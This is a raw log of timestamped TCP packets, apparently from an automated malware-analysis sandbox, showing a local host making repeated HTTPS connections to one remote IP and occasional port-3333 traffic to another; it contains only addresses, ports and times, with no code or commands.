Jun 23, 2024 11:32:11.988879919 CEST	443	49780	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:11.988970995 CEST	49780	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:11.989226103 CEST	49780	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:11.989258051 CEST	443	49780	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:12.770704031 CEST	443	49780	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:12.772047043 CEST	49780	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:12.772138119 CEST	443	49780	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:13.113979101 CEST	443	49780	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:13.114123106 CEST	443	49780	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:13.114200115 CEST	49780	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:13.114423037 CEST	49780	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:13.115314960 CEST	49781	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:13.115377903 CEST	443	49781	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:13.115466118 CEST	49781	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:13.115664005 CEST	49781	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:13.115681887 CEST	443	49781	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:13.899842978 CEST	443	49781	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:13.901345968 CEST	49781	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:13.901411057 CEST	443	49781	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:14.243709087 CEST	443	49781	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:14.243858099 CEST	443	49781	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:14.243926048 CEST	49781	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:14.244205952 CEST	49781	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:14.406023979 CEST	49782	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:14.406079054 CEST	443	49782	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:14.406157017 CEST	49782	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:14.406367064 CEST	49782	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:14.406395912 CEST	443	49782	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:15.105945110 CEST	443	49782	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:15.107542992 CEST	49782	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:15.107623100 CEST	443	49782	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:15.451483011 CEST	443	49782	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:15.451670885 CEST	443	49782	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:15.451900005 CEST	49782	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:15.452003002 CEST	49782	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:15.453032970 CEST	49783	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:15.453123093 CEST	443	49783	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:15.453218937 CEST	49783	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:15.453464031 CEST	49783	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:15.453500032 CEST	443	49783	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:16.238953114 CEST	443	49783	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:16.240448952 CEST	49783	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:16.240539074 CEST	443	49783	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:16.579490900 CEST	443	49783	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:16.579560041 CEST	443	49783	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:16.579648972 CEST	49783	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:16.579974890 CEST	49783	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:16.730412006 CEST	49784	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:16.730500937 CEST	443	49784	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:16.730741978 CEST	49784	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:16.730952024 CEST	49784	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:16.730981112 CEST	443	49784	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:17.523341894 CEST	443	49784	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:17.525067091 CEST	49784	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:17.525151014 CEST	443	49784	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:17.870635986 CEST	443	49784	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:17.870805025 CEST	443	49784	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:17.870887041 CEST	49784	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:17.871062040 CEST	49784	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:17.871964931 CEST	49785	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:17.872057915 CEST	443	49785	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:17.872142076 CEST	49785	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:17.872369051 CEST	49785	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:17.872406006 CEST	443	49785	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:18.657764912 CEST	443	49785	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:18.659199953 CEST	49785	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:18.659282923 CEST	443	49785	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:18.998414993 CEST	443	49785	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:18.998589993 CEST	443	49785	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:18.998661995 CEST	49785	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:18.998902082 CEST	49785	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:19.144412994 CEST	49786	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:19.144491911 CEST	443	49786	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:19.144594908 CEST	49786	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:19.144839048 CEST	49786	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:19.144861937 CEST	443	49786	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:20.175107002 CEST	443	49786	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:20.176731110 CEST	49786	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:20.176780939 CEST	443	49786	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:20.517379999 CEST	443	49786	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:20.517553091 CEST	443	49786	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:20.517615080 CEST	49786	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:20.517908096 CEST	49786	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:20.518742085 CEST	49787	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:20.518831968 CEST	443	49787	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:20.518923044 CEST	49787	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:20.519166946 CEST	49787	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:20.519203901 CEST	443	49787	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:21.244623899 CEST	443	49787	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:21.246059895 CEST	49787	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:21.246123075 CEST	443	49787	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:21.590884924 CEST	443	49787	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:21.591108084 CEST	443	49787	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:21.591300011 CEST	49787	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:21.591530085 CEST	49787	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:21.760036945 CEST	49788	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:21.760127068 CEST	443	49788	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:21.760231972 CEST	49788	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:21.760529995 CEST	49788	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:21.760567904 CEST	443	49788	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:22.459836006 CEST	443	49788	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:22.461724997 CEST	49788	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:22.461776018 CEST	443	49788	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:22.804222107 CEST	443	49788	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:22.804359913 CEST	443	49788	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:22.804498911 CEST	49788	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:22.804667950 CEST	49788	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:22.805960894 CEST	49789	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:22.806051016 CEST	443	49789	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:22.806169987 CEST	49789	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:22.806425095 CEST	49789	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:22.806462049 CEST	443	49789	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:23.585123062 CEST	443	49789	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:23.586466074 CEST	49789	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:23.586534023 CEST	443	49789	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:23.925415993 CEST	443	49789	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:23.925563097 CEST	443	49789	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:23.925633907 CEST	49789	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:23.925977945 CEST	49789	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:24.061418056 CEST	49790	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:24.061486959 CEST	443	49790	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:24.061597109 CEST	49790	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:24.061863899 CEST	49790	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:24.061892033 CEST	443	49790	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:24.866564035 CEST	443	49790	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:24.868100882 CEST	49790	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:24.868170023 CEST	443	49790	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:25.213860989 CEST	443	49790	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:25.214232922 CEST	443	49790	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:25.214407921 CEST	49790	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:25.214643955 CEST	49790	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:25.267851114 CEST	49791	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:25.267932892 CEST	443	49791	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:25.268038034 CEST	49791	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:25.268327951 CEST	49791	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:25.268378973 CEST	443	49791	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:25.969492912 CEST	443	49791	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:25.971019983 CEST	49791	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:25.971096039 CEST	443	49791	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:26.312114000 CEST	443	49791	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:26.312252998 CEST	443	49791	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:26.312328100 CEST	49791	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:26.312546015 CEST	49791	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:26.313524008 CEST	49792	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:26.313569069 CEST	443	49792	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:26.313646078 CEST	49792	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:26.313853025 CEST	49792	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:26.313874006 CEST	443	49792	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:27.033850908 CEST	443	49792	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:27.035177946 CEST	49792	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:27.035206079 CEST	443	49792	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:27.378783941 CEST	443	49792	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:27.378954887 CEST	443	49792	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:27.379018068 CEST	49792	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:27.379453897 CEST	49792	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:27.512685061 CEST	49793	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:27.512792110 CEST	443	49793	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:27.512876987 CEST	49793	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:27.513094902 CEST	49793	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:27.513130903 CEST	443	49793	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:28.316364050 CEST	443	49793	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:28.317796946 CEST	49793	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:28.317893028 CEST	443	49793	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:28.662991047 CEST	443	49793	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:28.663153887 CEST	443	49793	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:28.663340092 CEST	49793	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:28.663417101 CEST	49793	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:28.664160967 CEST	49794	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:28.664215088 CEST	443	49794	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:28.664299965 CEST	49794	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:28.664499044 CEST	49794	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:28.664525986 CEST	443	49794	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:29.035058975 CEST	3333	49732	141.94.96.144	192.168.2.4
Jun 23, 2024 11:32:29.266302109 CEST	49732	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:32:29.391422033 CEST	443	49794	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:29.392939091 CEST	49794	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:29.393018007 CEST	443	49794	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:29.738758087 CEST	443	49794	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:29.738914967 CEST	443	49794	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:29.738991976 CEST	49794	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:29.739315033 CEST	49794	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:29.850394011 CEST	49795	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:29.850430012 CEST	443	49795	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:29.850567102 CEST	49795	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:29.850841045 CEST	49795	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:29.850860119 CEST	443	49795	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:30.775758982 CEST	443	49795	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:30.777575016 CEST	49795	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:30.777596951 CEST	443	49795	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:30.922405958 CEST	49732	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:32:31.118391991 CEST	443	49795	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:31.118518114 CEST	443	49795	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:31.120829105 CEST	49795	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:31.120843887 CEST	443	49795	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:31.120996952 CEST	49795	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:31.121011972 CEST	49795	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:31.123330116 CEST	49796	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:31.123399019 CEST	443	49796	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:31.126619101 CEST	49796	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:31.127712965 CEST	49796	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:31.127748013 CEST	443	49796	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:31.601629019 CEST	49797	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:32:31.606648922 CEST	3333	49797	141.94.96.144	192.168.2.4
Jun 23, 2024 11:32:31.606736898 CEST	49797	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:32:31.606858969 CEST	49797	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:32:31.611764908 CEST	3333	49797	141.94.96.144	192.168.2.4
Jun 23, 2024 11:32:31.827488899 CEST	443	49796	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:31.828953028 CEST	49796	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:31.828989983 CEST	443	49796	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:32.170916080 CEST	443	49796	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:32.171072960 CEST	443	49796	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:32.171138048 CEST	49796	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:32.171294928 CEST	49796	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:32.172214985 CEST	49798	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:32.172246933 CEST	443	49798	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:32.172355890 CEST	49798	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:32.172631979 CEST	49798	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:32.172647953 CEST	443	49798	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:32.232716084 CEST	3333	49797	141.94.96.144	192.168.2.4
Jun 23, 2024 11:32:32.360044003 CEST	49797	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:32:32.874766111 CEST	443	49798	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:32.877947092 CEST	49798	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:32.877963066 CEST	443	49798	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:33.215213060 CEST	443	49798	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:33.215354919 CEST	443	49798	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:33.215419054 CEST	49798	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:33.215852022 CEST	49798	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:33.333558083 CEST	49799	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:33.333612919 CEST	443	49799	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:33.333713055 CEST	49799	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:33.333914995 CEST	49799	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:33.333955050 CEST	443	49799	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:33.662303925 CEST	3333	49797	141.94.96.144	192.168.2.4
Jun 23, 2024 11:32:33.703819036 CEST	49797	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:32:34.126749039 CEST	443	49799	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:34.128731012 CEST	49799	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:34.128761053 CEST	443	49799	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:35.456969976 CEST	443	49799	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:35.457144022 CEST	443	49799	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:35.457217932 CEST	49799	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:35.457501888 CEST	49799	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:36.079365969 CEST	49800	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:36.079452038 CEST	443	49800	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:36.079539061 CEST	49800	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:36.079756975 CEST	49800	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:36.079788923 CEST	443	49800	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:36.788466930 CEST	443	49800	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:36.800698996 CEST	49800	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:36.800760984 CEST	443	49800	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:37.134977102 CEST	443	49800	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:37.135106087 CEST	443	49800	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:37.135179043 CEST	49800	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:37.135399103 CEST	49800	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:37.136341095 CEST	49801	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:37.136377096 CEST	443	49801	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:37.136446953 CEST	49801	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:37.136677027 CEST	49801	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:37.136702061 CEST	443	49801	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:37.852060080 CEST	443	49801	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:37.853544950 CEST	49801	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:37.853563070 CEST	443	49801	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:38.197474957 CEST	443	49801	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:38.197633028 CEST	443	49801	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:38.197690010 CEST	49801	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:38.197946072 CEST	49801	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:40.751398087 CEST	49802	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:40.751454115 CEST	443	49802	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:40.751626968 CEST	49802	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:40.751969099 CEST	49802	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:40.751991034 CEST	443	49802	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:41.450643063 CEST	443	49802	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:41.452116966 CEST	49802	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:41.452137947 CEST	443	49802	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:41.793908119 CEST	443	49802	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:41.794058084 CEST	443	49802	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:41.794249058 CEST	49802	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:41.794363976 CEST	49802	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:41.795331001 CEST	49803	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:41.795418978 CEST	443	49803	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:41.795506001 CEST	49803	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:41.795695066 CEST	49803	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:41.795730114 CEST	443	49803	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:42.611543894 CEST	443	49803	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:42.612832069 CEST	49803	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:42.612894058 CEST	443	49803	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:42.959867954 CEST	443	49803	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:42.960028887 CEST	443	49803	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:42.960218906 CEST	49803	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:42.960360050 CEST	49803	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:43.204647064 CEST	49804	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:43.204685926 CEST	443	49804	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:43.204801083 CEST	49804	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:43.205033064 CEST	49804	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:43.205048084 CEST	443	49804	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:44.015697002 CEST	443	49804	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:44.017389059 CEST	49804	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:44.017410040 CEST	443	49804	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:44.112215042 CEST	3333	49797	141.94.96.144	192.168.2.4
Jun 23, 2024 11:32:44.297652960 CEST	49797	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:32:44.364784956 CEST	443	49804	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:44.364929914 CEST	443	49804	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:44.365077972 CEST	49804	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:44.365194082 CEST	49804	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:44.366128922 CEST	49805	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:44.366234064 CEST	443	49805	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:44.366333008 CEST	49805	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:44.366532087 CEST	49805	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:44.366564989 CEST	443	49805	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:45.087337017 CEST	443	49805	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:45.089063883 CEST	49805	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:45.089129925 CEST	443	49805	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:45.436207056 CEST	443	49805	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:45.436386108 CEST	443	49805	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:45.436459064 CEST	49805	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:45.436672926 CEST	49805	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:45.719964981 CEST	49806	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:45.720069885 CEST	443	49806	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:45.720160961 CEST	49806	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:45.720381975 CEST	49806	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:45.720415115 CEST	443	49806	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:46.505135059 CEST	443	49806	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:46.506669044 CEST	49806	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:46.506757975 CEST	443	49806	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:46.850735903 CEST	443	49806	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:46.850895882 CEST	443	49806	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:46.851047993 CEST	49806	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:46.851155043 CEST	49806	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:46.852011919 CEST	49807	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:46.852051973 CEST	443	49807	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:46.852122068 CEST	49807	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:46.852341890 CEST	49807	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:46.852350950 CEST	443	49807	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:47.670676947 CEST	443	49807	92.53.96.121	192.168.2.4
